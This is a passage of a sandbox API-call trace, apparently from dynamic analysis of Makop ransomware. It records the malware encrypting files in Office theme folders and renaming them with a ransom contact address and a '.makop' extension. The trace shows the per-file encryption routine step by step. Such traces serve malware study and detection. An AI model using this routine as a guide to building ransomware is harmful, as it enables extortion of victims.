dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.573] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xf, lpOverlapped=0x0) returned 1 [0096.577] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.577] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.577] GetProcessHeap () returned 0x48a0000 [0096.577] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0096.577] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0096.577] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.577] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0096.577] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.578] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.578] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.578] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.578] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.578] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.578] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.578] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.578] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1d1, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1d1, lpOverlapped=0x0) returned 1 [0096.579] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1e0) returned 1 [0096.579] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.579] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1e0, lpOverlapped=0x0) returned 1 [0096.579] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.579] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.579] SetEndOfFile (hFile=0x138) returned 1 [0096.586] GetProcessHeap () returned 0x48a0000 [0096.586] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0096.586] GetProcessHeap () returned 0x48a0000 [0096.586] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.586] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0096.586] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.593] CloseHandle (hObject=0x138) returned 1 [0096.593] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0096.593] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0096.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.594] GetProcessHeap () returned 0x48a0000 [0096.594] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.594] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.594] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.594] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xf, lpOverlapped=0x0) returned 1 [0096.602] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.602] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.602] GetProcessHeap () returned 0x48a0000 [0096.602] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.602] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.603] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.603] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.603] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.603] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.603] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.603] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.604] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.604] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.604] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.604] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.604] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3b1, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x3b1, lpOverlapped=0x0) returned 1 [0096.604] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x3c0) returned 1 [0096.604] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.604] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x3c0, lpOverlapped=0x0) returned 1 [0096.604] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.605] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.605] SetEndOfFile (hFile=0x138) returned 1 [0096.611] GetProcessHeap () returned 0x48a0000 [0096.611] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.611] GetProcessHeap () returned 0x48a0000 [0096.611] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.611] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0096.612] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.612] CloseHandle (hObject=0x138) returned 1 [0096.613] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0096.613] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0096.613] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.613] GetProcessHeap () returned 0x48a0000 [0096.613] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.613] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.613] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.614] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x1, lpOverlapped=0x0) returned 1 [0096.620] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.620] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.620] GetProcessHeap () returned 0x48a0000 [0096.620] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.620] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.620] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.620] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.621] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.621] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.621] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.621] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.621] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.622] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.622] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.622] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.622] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7f5f, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x7f5f, lpOverlapped=0x0) returned 1 [0096.624] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x7f60, dwBufLen=0x7f60 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x7f60) returned 1 [0096.625] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.625] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7f60, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x7f60, lpOverlapped=0x0) returned 1 [0096.625] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.625] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x8034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.626] SetEndOfFile (hFile=0x138) returned 1 [0096.632] GetProcessHeap () returned 0x48a0000 [0096.632] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.632] GetProcessHeap () returned 0x48a0000 [0096.632] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.633] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0096.633] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.634] CloseHandle (hObject=0x138) returned 1 [0096.634] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0096.634] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0096.634] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0096.634] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES") returned 64 [0096.634] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*") returned 68 [0096.634] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0096.635] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.635] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1 [0096.635] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM") returned 77 [0096.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.637] GetProcessHeap () returned 0x48a0000 [0096.637] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.637] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.637] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.637] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x6, lpOverlapped=0x0) returned 1 [0096.646] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.646] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.646] GetProcessHeap () returned 0x48a0000 [0096.646] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.646] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.646] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.646] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.647] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.647] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.647] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.647] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.647] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.648] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.648] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.648] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.648] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe1ba, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xe1ba, lpOverlapped=0x0) returned 1 [0096.649] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xe1c0, dwBufLen=0xe1c0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xe1c0) returned 1 [0096.650] SetFilePointerEx (in: hFile=0x138, 